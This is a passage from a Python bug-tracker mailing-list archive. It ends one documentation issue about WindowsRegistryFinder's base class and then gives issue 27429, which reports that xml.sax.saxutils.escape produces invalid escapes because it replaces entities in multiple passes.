inherits from importlib.abc.Finder. ---------- assignee: docs at python components: Documentation messages: 269633 nosy: brett.cannon, docs at python priority: normal severity: normal status: open title: Document WindowsRegistryFinder inherits from MetaPathFinder versions: Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jun 30 19:28:04 2016 From: report at bugs.python.org (tylerjohnhughes) Date: Thu, 30 Jun 2016 23:28:04 +0000 Subject: [New-bugs-announce] [issue27429] xml.sax.saxutils.escape doesn't escape multiple characters safely Message-ID: <1467329284.42.0.570425192888.issue27429@psf.upfronthosting.co.za> New submission from tylerjohnhughes: The escape function appears to go through the list in multiple passes, replacing characters as it encounters them on each pass, rather than traversing the source string and replacing matches in the entities dict. This results in invalid escape strings if a replacement value contains one of the replacement entities. I've attached a file to reproduce the behavior. ---------- components: XML files: escapetest.py messages: 269634 nosy: tylerjohnhughes priority: normal severity: normal status: open title: xml.sax.saxutils.escape doesn't escape multiple characters safely type: behavior versions: Python 3.5 Added file: http://bugs.python.org/file43594/escapetest.py _______________________________________ Python tracker _______________________________________